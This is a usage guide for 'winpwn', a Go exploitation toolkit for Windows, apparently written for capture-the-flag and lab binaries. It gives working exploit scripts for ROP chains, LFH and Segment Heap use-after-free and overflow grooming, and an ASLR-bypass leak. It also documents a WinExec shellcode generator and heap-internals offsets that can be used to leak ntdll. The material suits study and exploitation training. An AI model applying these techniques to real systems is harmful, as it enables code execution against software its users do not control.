# winpwn usage guide Worked examples, then a function-by-function reference. ## Setup Write solve scripts in `C:\tools\workspace\`, not inside `go_pwner\` (the library source). ``` C:\tools\ ├── go_pwner\ ← library source └── workspace\ ← solve scripts ├── go.mod ← replace winpwn => ../go_pwner └── mytask\ ├── main.go └── chal.exe ``` ```bash cd C:\tools\workspace mkdir mytask && cd mytask copy path\to\chal.exe . # write main.go, then: go run . ``` `import "winpwn"` resolves anywhere inside `workspace\` via the `replace` directive in `go.mod`. Examples below assume the working directory holds the target binary and are run with `go run main.go`. ## Example 1 — info leak + redirect Target ([workspace/task1_leak](workspace/task1_leak)) leaks the address of `main`, then reads a hex address from stdin and jumps to it. No ASLR, so `win()` is at a fixed offset from `main`. ```go tube, err := winpwn.Spawn("./task1.exe") if err != nil { log.Fatalf("Spawn: %v", err) } if _, err := tube.RecvUntil([]byte("main: ")); err != nil { log.Fatalf("RecvUntil: %v", err) } addrBytes, err := tube.RecvUntil([]byte("\n")) mainAddr, _ := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64) winAddr := mainAddr - 267 // addr(win) - addr(main), found once in x64dbg payload := fmt.Sprintf("%x", winAddr) if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil { log.Fatalf("SendLineAfter: %v", err) } tube.Interactive() ``` ``` [+] Leaked main: 0x7FF71CC51657 [+] Calculated win: 0x7FF71CC5154C Your input: 7ff71cc5154c You won! flag{FLAG} [*] Process exited normally (code 0) ``` ## Example 2 — checksec + ROP + verified gadget chain Target ([workspace/task2_rop](workspace/task2_rop)) is DEP-protected with `win(int secret)` exported (`__declspec(dllexport)`) and a stack overflow in `vulnerable()`. Win condition: return into `win()` with RCX = `0xdeadbeef`. Confirm mitigations: ```go pf, _ := winpwn.OpenPE("task2.exe") r, _ := pf.Checksec() // r.ASLR == false, r.DEP == true ``` Resolve `win()` from the export table: ```go winRVA, _ := pf.GetProcAddress("win") imageBase, _ := pf.ImageBase() winAddr := imageBase + winRVA ``` Find and verify a `pop rcx ; ret` gadget: ```go rop, _ := winpwn.NewROP("task2.exe") // requires rp-win.exe (see ROP section) defer rop.Close() popRcx := rop.Find("pop rcx ; ret")[0].Address // index 0 = cleanest ranked match lines, _ := rop.Disassemble(popRcx, 2) fmt.Println(lines) // ["pop rcx", "ret"] ``` Build and send the chain: ```go ret := retGadgets[0].Address // bare "ret" for stack alignment payload := bytes.Repeat([]byte("A"), offset) payload = append(payload, winpwn.P64(popRcx)...) payload = append(payload, winpwn.P64(0xDEADBEEF)...) payload = append(payload, winpwn.P64(ret)...) payload = append(payload, winpwn.P64(winAddr)...) tube, _ := winpwn.Spawn("task2.exe") tube.SendLineAfter([]byte("Input: "), payload) tube.Interactive() ``` `offset` is the distance from the buffer to the saved return address. For this build it is 56 bytes (`buf` at `rbp-0x30`, plus the 8-byte saved RBP), not the 40 a "32-byte buffer + saved RBP" estimate would give. Confirm it per target with `objdump -d` / `rop.Disassemble` / a cyclic pattern; do not assume the source comment's number. ``` [+] win() address: 0x140001538 [+] pop rcx; ret address: 0x140002740 [*] verified: [pop rcx ret] you just got shell [*] Switching to interactive mode Microsoft Windows [Version 10.0.19045.5737] C:\...\task2_rop> ``` ## Example 3 — LFH use-after-free Target ([workspace/heap_lfh](workspace/heap_lfh)) creates a private heap forced into LFH mode via `HeapSetInformation(heap, HeapCompatibilityInformation, 2)`. It manages `Note{ char title[24]; void (*onPrint)(const char*); }` (32 bytes): `A ` allocates and leaks the address, `F ` frees without clearing the pointer, `B ` allocates a raw 32-byte buffer, `P ` calls `notes[id]->onPrint(...)` with no liveness check (the bug). Technique: allocate filler notes, allocate the victim last, free it, then spray 32-byte buffers (each a fake `Note` with `onPrint = win()`), checking each spray's leaked address against the victim's. Freeing the most recently allocated same-size object makes the freed slot come back within a handful of attempts. ```go for i := 0; i < 5; i++ { tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))) tube.RecvLine() } tube.SendLine([]byte("A victim")) resp, _ := tube.RecvLine() victimAddr, _ := parseAddr(resp) // "OK id=5 addr=0x..." tube.SendLine([]byte("F 5")) tube.RecvLine() payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...) payloadHex := winpwn.Enhex(payload) // Seed with the freed victim's address; stop when a spray matches it. victim := winpwn.SprayResult[uint64]{ID: 5, Key: victimAddr} _, _, attempts, ok, _ := winpwn.SprayAndFind( []winpwn.SprayResult[uint64]{victim}, 64, func(attempt int) (winpwn.SprayResult[uint64], error) { tube.SendLine([]byte("B " + payloadHex)) resp, err := tube.RecvLine() addr, perr := parseAddr(resp) if perr != nil { err = perr } return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err }, func(a, b uint64) bool { return a == b }, ) tube.SendLine([]byte("P 5")) // onPrint is now win() tube.Interactive() ``` Note: which object you free determines whether reuse happens in ~1 attempt or not at all. Freeing an early allocation and waiting for it to return this way is unreliable — LFH favors the subsegment being actively filled. Every grooming number here was measured on one Windows build (10.0.26100); re-measure per target. ## Example 4 — Segment Heap adjacent-chunk overflow Target ([workspace/heap_segment](workspace/heap_segment)) opts into Segment Heap via an embedded manifest (`SegmentHeap`). It manages `Profile{ char name[24]; void (*describe)(const char*); }` (32 bytes). Bug: `O ` `memcpy`s `len(hex)/2` bytes at `profiles[id]` with no bounds check. The heap signature at `GetProcessHeap()+0x10` is `0xddeeddee` (Segment Heap); `0xffeeffee` would be NT Heap. Segment Heap randomizes placement within the page, so sequential allocations are not adjacent in memory. Technique: spray, leak every address, find any pair exactly `sizeof(Profile)` = 32 bytes apart; the lower one overflows into the higher one's `describe` field. ```go // No seed: each new sample is checked against all prior samples. a, b, _, ok, _ := winpwn.SprayAndFind(nil, 20, func(i int) (winpwn.SprayResult[uint64], error) { tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))) resp, err := tube.RecvLine() id, addr, perr := parseIDAndAddr(resp) if perr != nil { err = perr } return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err }, func(x, y uint64) bool { d := int64(y) - int64(x) return d == 32 || d == -32 // sizeof(Profile) }, ) attackerID, victimID := a.ID, b.ID if a.Key > b.Key { // lower address overflows forward attackerID, victimID = b.ID, a.ID } payload := append(bytes.Repeat([]byte{0x41}, 56), winpwn.P64(winAddr)...) tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, winpwn.Enhex(payload)))) tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))) tube.Interactive() ``` The same `SprayAndFind` primitive handles Example 3 (equality match) and this case (distance match) with a different `match` function. The 32-byte distance and "spray 20 finds a pair" are facts about this struct on this build; re-measure. ## Example 5 — native debugger session Composes `SpawnSuspended`/`ResumeMainThread` (target has not executed an instruction when the debugger attaches) with `Attach`, and breaks at the PE's real entry point (ASLR-safe: resolve the module base at runtime, add the disk PE's entry RVA). ```go diskPE, _ := winpwn.OpenPE("target.exe") diskBase, _ := diskPE.ImageBase() diskEntry, _ := diskPE.EntryPoint() diskPE.Close() entryRVA := diskEntry - diskBase tube, pid, _ := winpwn.SpawnSuspended("target.exe") dbg, _ := winpwn.Attach(pid) winpwn.ResumeMainThread(pid) var bpSet bool for ev := range dbg.Events() { if !bpSet { if base, err := winpwn.ResolveModuleBase(pid, "target.exe"); err == nil { dbg.SetBreakpoint(uintptr(base) + uintptr(entryRVA)) bpSet = true } } hitEntry := ev.Kind == winpwn.EventBreakpoint if hitEntry { regs, _ := dbg.GetContext(ev.ThreadID) fmt.Printf("hit entry point, Rip=0x%x Rsp=0x%x\n", regs.Rip, regs.Rsp) } dbg.Continue(ev) // every event, breakpoint included if hitEntry { break } } dbg.Close() tube.Close() ``` Notes: - `ResolveModuleBase` fails on the first event or two (loader not run yet); the loop retries each event until it succeeds. - A breakpoint event's `Rip` reads back exactly equal to the breakpoint address. The CPU leaves `Rip` one byte past the `int3`; `Attach` rewinds it before the event is delivered. - `Continue` past a breakpoint re-arms it (restore byte, single-step, rewrite `0xCC`), so the loop must call `Continue` even on the event it breaks out on. ## Example 6 — UAF type confusion, no LFH Two same-size (32-byte) structs: `Note{char title[24]; void(*onPrint)(char*)}` and `Token{char data[24]; void(*validate)(char*)}`. `D` frees a Note but leaves the table pointer. No LFH, so the freed slot returns on the next 32-byte allocation ([workspace/heap_typemix](workspace/heap_typemix)). ```go tube.SendLine([]byte("N victim")) resp, _ := tube.RecvLine() // "OK id=0 addr=0x..." victimAddr, _ := parseAddr(resp) tube.SendLine([]byte("D 0")) tube.RecvLine() payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...) tube.SendLine([]byte("T " + winpwn.Enhex(payload))) tube.RecvLine() tube.SendLine([]byte("P 0")) // note[0]->onPrint is now win() tube.Interactive() ``` ## Example 7 — adjacent-chunk overflow, NT Heap backend `Note{char buf[24]; void(*action)(char*)}` = 32 bytes. `W ` writes hex-decoded bytes to `note->buf` with no bounds check. Two notes allocated sequentially on a clean NT Heap backend (no LFH at 2 allocations) are adjacent. Overflow layout from note[0]: 24 (buf) + 8 (action) + 16 (NT `_HEAP_ENTRY` header) + 24 (note[1].buf) + 8 (note[1].action) = 80 bytes; `win()` at offset 72 ([workspace/heap_overflow](workspace/heap_overflow)). ```go tube.SendLine([]byte("A note0")) tube.RecvLine() tube.SendLine([]byte("A note1")) tube.RecvLine() payload := bytes.Repeat([]byte{0x41}, 24) // note[0].buf payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0].action payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // _HEAP_ENTRY header payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1].buf payload = append(payload, winpwn.P64(winAddr)...) // note[1].action = win() tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload))) tube.RecvLine() tube.SendLine([]byte("C 1")) tube.Interactive() ``` ## Example 8 — OOB read defeats ASLR + UAF ASLR enabled (`winpwn checksec` shows `ASLR: Yes`). `S ` prints `len` bytes of `note->data` with no bounds check, leaking the 8-byte `onShow` pointer (= `real_show`, an export). The static RVA difference between `win` and `real_show` gives `win()` ([workspace/heap_info_leak](workspace/heap_info_leak)). ```go // Static RVA difference (constant regardless of ASLR) pf, _ := winpwn.OpenPE("heap_info_leak.exe") realShowRVA, _ := pf.GetProcAddress("real_show") winRVA, _ := pf.GetProcAddress("win") rvaDiff := int64(winRVA) - int64(realShowRVA) pf.Close() // Leak onShow via OOB read tube.SendLine([]byte("N victim")) tube.RecvLine() tube.SendLine([]byte("S 0 32")) // 24 safe, request 32 resp, _ := tube.RecvLine() // "HEX <64hexchars>" hexBytes, _ := hex.DecodeString(string(bytes.TrimPrefix(resp, []byte("HEX ")))) realShowVA := binary.LittleEndian.Uint64(hexBytes[24:32]) winVA := uint64(int64(realShowVA) + rvaDiff) // UAF (as Example 6) tube.SendLine([]byte("D 0")) tube.RecvLine() payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...) tube.SendLine([]byte("T " + winpwn.Enhex(payload))) tube.RecvLine() tube.SendLine([]byte("P 0")) tube.Interactive() ``` --- ## Function reference ### Tubes (`tube.go`, `process.go`, `remote.go`) ```go t, err := winpwn.Spawn("./target.exe") // local process t, err := winpwn.Remote("host", "1337") // TCP t.Send([]byte("data")) // no trailing newline t.SendLine([]byte("data")) // + Context.Newline t.SendAfter([]byte("delim"), []byte("data")) t.SendLineAfter([]byte("delim"), []byte("data")) buf, err := t.Recv(64) // up to 64 bytes line, err := t.RecvUntil([]byte("delim")) // inclusive of delim line, err := t.RecvLine() // == RecvUntil(Context.Newline) data, err := t.RecvPred(func(b []byte) bool { return len(b) > 10 }) data, err := t.RecvRegex(regexp.MustCompile(`\d+`)) t.SetTimeout(2 * time.Second) // overrides Context.Timeout t.Interactive() // hand stdin/stdout to the terminal t.Close() // idempotent ``` Every `Send*`/`Recv*` returns `error`. ### Named pipes (`pipe_windows.go`) ```go tube, err := winpwn.ServePipe("mypipe") // server: \\.\pipe\mypipe, blocks for one client tube, err := winpwn.DialPipe("mypipe") // client ``` Returns a `*Tube`; every tube method works over a named pipe. Opened with `PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`. ### Context & logging (`context.go`, `log.go`) ```go winpwn.Context.Timeout = 5 * time.Second // global default for new tubes winpwn.Context.LogLevel = winpwn.LogLevelSilent winpwn.Info("leaked: 0x%x", addr) // [*] winpwn.Success("got shell") // [+] winpwn.Warn("retrying") // [!] winpwn.Error("gadget not found") // [-] ``` ### Packing (`packing.go`) ```go winpwn.P16(0x1234) // []byte{0x34, 0x12} winpwn.P32(addr32) winpwn.P64(addr64) winpwn.U32(buf) winpwn.U64(buf) ``` ### Cyclic patterns (`cyclic.go`) ```go pattern := winpwn.Cyclic(200) // de Bruijn, n=4 (default) pattern8 := winpwn.CyclicN(200, 8) // n=8, for 64-bit pointer offsets offset := winpwn.CyclicFind(crashedRIPBytes) // n=4 offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8) // n=8 ``` ### Fiddling (`fiddling.go`) ```go winpwn.Hexdump(data) // hex+ASCII dump, string hexStr := winpwn.Enhex(data) raw, err := winpwn.Unhex(hexStr) xored := winpwn.Xor(data, []byte{0x41}) // key cycles if shorter than data ``` ### PE parsing (`pe.go`, `sections.go`) ```go pf, err := winpwn.OpenPE("target.exe") defer pf.Close() base, _ := pf.ImageBase() entry, _ := pf.EntryPoint() is64, _ := pf.Is64Bit() for _, sec := range pf.Sections() { sec.IsReadable(); sec.IsWritable(); sec.IsExecutable(); sec.IsRWX() sec.VirtualAddress // RVA in the loaded image sec.Offset // PointerToRawData, file offset on disk entropy, _ := sec.Entropy() } packed, _ := pf.LikelyPackedSections(0) // 0 == default UPX-style 7.2 threshold offsets, err := pf.SearchBytes([]byte("cmd.exe\x00")) // Distinct imported DLLs, each LoadLibrary'd for its live image base. // System DLL bases are randomized per boot, not per process, so this is valid // machine-wide until the next reboot without running the target. libs, err := pf.ImportedLibs() // []ImportedLib{Name, Base, Err} ``` Live-process memory, not just a disk file (`procmem_windows.go`): ```go base, err := winpwn.ResolveModuleBase(pid, "kernel32.dll") pf, err := winpwn.OpenPEFromProcess(pid, base) // every accessor (Checksec, ListExports, NewROP, ...) works identically here ``` ### Loaded-module symbols (`symbols_windows.go`) Analogue of pwntools' `p.libs` / `p.symbols`. For multiple lookups, use `ProcessSymbols`: ```go tube, _ := winpwn.Spawn("chal.exe") sym := winpwn.NewProcessSymbols(tube.PID()) // tube.PID() -> uint32 defer sym.Close() k32, _ := sym.Base("kernel32.dll") // p.libs["kernel32.dll"] winexec, _ := sym.Symbol("kernel32.dll", "WinExec") // p.symbols["kernel32.dll"]["WinExec"] mods, _ := sym.Modules() // map[string]uint64 all, _ := sym.AllSymbols("kernel32.dll") // map[string]uint64 ``` `ProcessSymbols` caches one `PEFile` per DLL. For one-off lookups: ```go libs, _ := winpwn.ListLoadedModules(pid) // map[string]uintptr va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec") ``` ### Checksec (`checksec.go`) ```go r, err := pf.Checksec() // r.ASLR, r.HighEntropyVA, r.DEP, r.CFG, r.SafeSEH (x86 only; r.SEHApplicable // reports whether SafeSEH applies), r.GSHeuristic, r.AuthenticodeSigned, r.DotNET ``` `VerifyAuthenticodeSignature(path)` ([authenticode_windows.go](authenticode_windows.go)) verifies a signature via `WinVerifyTrust`, not just its presence. ### Exports / imports (`exports.go`, `imports.go`) ```go exports, err := pf.ListExports() // []Export{Name, Ordinal, RVA, ForwardTarget} fnRVA, err := pf.GetProcAddress("CreateFileW") imports, err := pf.ListImports() // []Import{DLL, Name, Ordinal, IATRVA} imp, err := pf.FindImport("VirtualProtect") // whether the binary imports X ``` ### ROP gadgets (`gadgets.go`, `rop.go`) `NewROP` shells out to `rp-win.exe` (resolved from `RP_WIN_EXE` or `C:\tools\rp-win\rp-win.exe`), run with `--allow-branches`, so results include JOP transit gadgets (`jmp reg`/`call reg`) as well as ret-terminated ones. ```go rop, err := winpwn.NewROP("target.exe") defer rop.Close() addr := rop.Find("pop rcx ; ret")[0].Address // ranked, index 0 = cleanest gadgets, err := rop.Search("pop rcx ; ret") // same search, (results, error) gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`) // regex match lines, err := rop.Disassemble(addr, 3) // verify a chain in-script ropExt, err := winpwn.NewROPExternal("target.exe", `C:\other\rp++.exe`) // explicit tool path ``` `Find` indexes into an empty slice (panics) on no match — a deliberate loud failure at the lookup rather than a garbage address downstream. ### Patching (`patch.go`) ```go pf, err := winpwn.OpenPEForWrite("target.exe") defer pf.Close() pf.MakeSectionExecutable(".data") pf.MakeSectionWritable(".text") pf.DisableTLSCallbacks() pf.PatchBytes(rva, []byte{0x90, 0x90}) pf.RecalculateChecksum() ``` ### Shellcode (`shellcraft.go`, `shellcode_exec_windows.go`) ```go code, err := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, resolves kernel32 via the PEB err := winpwn.ExecuteShellcode(code) // run locally to validate the template ``` ### Minidump (`minidump.go`) ```go m, err := winpwn.OpenMinidump("crash.dmp") defer m.Close() mods, err := m.Modules() // []MinidumpModule{Name, BaseOfImage, SizeOfImage, ...} exc, err := m.Exception() // *MinidumpException{ThreadID, ExceptionCode, ExceptionAddress, Parameters} raw, err := m.RawStream(winpwn.StreamSystemInfo) // any stream not decoded natively ``` ### Debugger (`debugger_windows.go`) ```go tube, pid, err := winpwn.SpawnSuspended("target.exe") dbg, err := winpwn.Attach(pid) // before ResumeMainThread to see everything winpwn.ResumeMainThread(pid) for ev := range dbg.Events() { // ev.Kind: EventBreakpoint/EventException/EventCreateProcess/ // EventCreateThread/EventExitThread/EventExitProcess/EventLoadDll/ // EventUnloadDll/EventOutputDebugString if ev.Kind == winpwn.EventBreakpoint { regs, _ := dbg.GetContext(ev.ThreadID) // Rax..R15, Rsp, Rbp, Rip, EFlags dbg.SetContext(ev.ThreadID, regs) data, _ := dbg.ReadMemory(uintptr(regs.Rsp), 32) dbg.WriteMemory(someAddr, []byte{0x90}) } dbg.Continue(ev) // required for every event } dbg.SetBreakpoint(addr) // software INT3; Continue re-arms it dbg.RemoveBreakpoint(addr) dbg.Step(tid) // single-step (not meaningful right at a fresh breakpoint hit) dbg.Close() // detach without killing the target ``` ### Heap struct parsing (`heap.go`, `heap_lfh.go`, `heap_segment.go`, `heap_windows.go`) All heap APIs work against any `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, or a test buffer). Only `ListProcessHeaps` needs a live process (walks the PEB). ```go // Find heaps heaps, err := winpwn.ListProcessHeaps(pid) // reads PEB.ProcessHeaps kind, err := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT or HeapKindSegment // NT Heap h, err := winpwn.ReadHeap(mem, heapAddr) // h.Flags, h.FrontEndHeapType (FrontEndHeapNone/LFH/Lookaside), h.FrontEndHeap // h.BaseAddress, h.FirstEntry, h.LastValidEntry, h.EncodingActive() entries, err := h.WalkAllHeapEntries(mem) // all segments entries, err := h.WalkSegment0(mem) // embedded Segment0 only // Entry fields e.Addr; e.BlockSize(); e.UserSize(); e.UserData() e.Busy(); e.LastEntry(); e.VirtualAlloc() e.PreviousBlockSize(); e.NextEntry() // Analysis stats := winpwn.SummariseEntries(entries) // TotalEntries, BusyEntries, FreeEntries, BusyBytes, FreeBytes pairs := winpwn.AdjacentBusyPairs(entries) // [][2]HeapEntry subset := winpwn.EntriesInRange(entries, lo, hi) hits := winpwn.EntriesWithUserData(entries, leakedAddr1, leakedAddr2) // Segments segAddrs, err := h.Segments(mem) _, firstEntry, lastValid, err := winpwn.ReadSegmentRange(mem, segAddr) entries, err := winpwn.WalkSegmentEntries(mem, firstEntry, lastValid, h.EncodingOrNil()) // NT Heap LFH buckets, err := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap) bucket, err := winpwn.FindLFHBucket(buckets, 32) // 32-byte alloc -> BlockSize >= 32+16 subsegAddr, err := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index) subsegAddrs, err := winpwn.AllSubsegments(mem, h.FrontEndHeap, bucket.Index) subseg, err := winpwn.ReadLFHSubsegment(mem, subsegAddr) // subseg.BlockSize, subseg.BlockCount, subseg.Busy ([]bool), subseg.UserBlocksAddr off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr) // anchor on a leaked address addr := subseg.BlockAddress(off, slotIndex) idx, ok := subseg.SlotOf(off, knownAddr) // Segment Heap sh, err := winpwn.ReadSegmentHeap(mem, heapAddr) // sh.GlobalFlags // sh.VS -- SegmentVSContext{CommittedUnits, FreeUnits, SubsegmentCount, Subsegments} // sh.LFH -- SegmentLFHContext{ActiveBuckets: []SegmentLFHBucket{Index, TotalBlockCount}} // Address-level adjacency (no chunk-header decode; operates on leaked addresses) pairs := winpwn.AdjacentAddressPairs(addrs, 32) // all (lo, lo+32) pairs lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // first pair ``` Empirical facts for build 10.0.26100 (verify on other builds): - LFH activates per-bucket after ≈19 same-size requests. Earlier allocations go to the backend and do not appear in the LFH subsegment structure. - `_HEAP_USERDATA_HEADER.EncodedOffsets` is obfuscated — calibrate with `CalibrateLFHFirstBlockOffset` against a known address. - `_HEAP_VS_CHUNK_HEADER.Sizes` is XOR-encoded and not decoded in this pass. - NT Heap entry XOR-encoding is decoded transparently by walk functions. - `heap_handle + 0x2c0` stores a pointer within ntdll (observed `ntdll+~0x163d10` on this build) — usable for an ntdll base leak from a heap address. ### Spray helper (`spray.go`) ```go older, newer, attempts, ok, err := winpwn.SprayAndFind( seed, // []winpwn.SprayResult[K]{} or pre-seeded with a known target maxAttempts, func(attempt int) (winpwn.SprayResult[K], error) { /* one spray -> (id, leaked value) */ }, func(a, b K) bool { /* the relation: equality, "N apart", etc. */ }, ) ``` Examples 3 (seeded equality) and 4 (no-seed pair search) show both shapes. ### CLI (`cmd/winpwn`) ``` winpwn checksec target.exe # mitigations + sections + imported DLLs' live base winpwn cyclic 200 winpwn cyclic -l aaab winpwn hexdump target.exe winpwn rop target.exe -search "pop rcx ; ret" winpwn rop target.exe -regex "^pop r.* ; ret$" winpwn bytes target.exe ebfe # every VA of a byte pattern; accepts "ebfe", "EB FE", "\xeb\xfe" winpwn disasm target.exe 0x140001538 5 winpwn exports target.dll winpwn imports target.exe winpwn hex / winpwn unhex # stdin-piped winpwn heap # enumerate all heaps in a live process winpwn heap -walk # also walk NT Heap entries: busy/free counts + adjacent pairs ``` `winpwn rop`/`NewROP` require `rp-win.exe`; a missing tool is a clear error naming the env var to set. ### cmd/pwninit ``` cd path\to\task_dir copy \path\to\chal.exe . pwninit # auto-detects the lone .exe/.dll ``` Prints recon (arch, checksec, per-section R/W/Offset/entropy, imported DLLs' live base), then writes a `go.mod` (`replace winpwn => `, from `WINPWN_HOME` or `C:\tools\go_pwner`) and a minimal `main.go` (`Spawn` + `Interactive`). Will not overwrite an existing `go.mod`/`main.go` without `-force`. `winpwn heap ` output: ``` pid 5160: 3 heap(s) [0] 0x0000000000080000 Segment Heap GlobalFlags=0x00000000 VS context @ 0x80280: committed=12 free=3 subsegments=1 LFH active buckets (total-blocks): [5]=50 [1] 0x0000000000010000 NT Heap flags=0x00008000 encoding=true front-end=none segments: 2 [2] 0x00000000001a0000 NT Heap flags=0x00001002 encoding=true front-end=LFH @ 0x8d0000 segments: 2 entries: total=18 busy=16 free=2 busy_bytes=25467 free_bytes=9360 LFH active buckets: [0]=16b [1]=32b [2]=48b ... ``` --- See [ROADMAP.md](ROADMAP.md) for implementation status and planned work.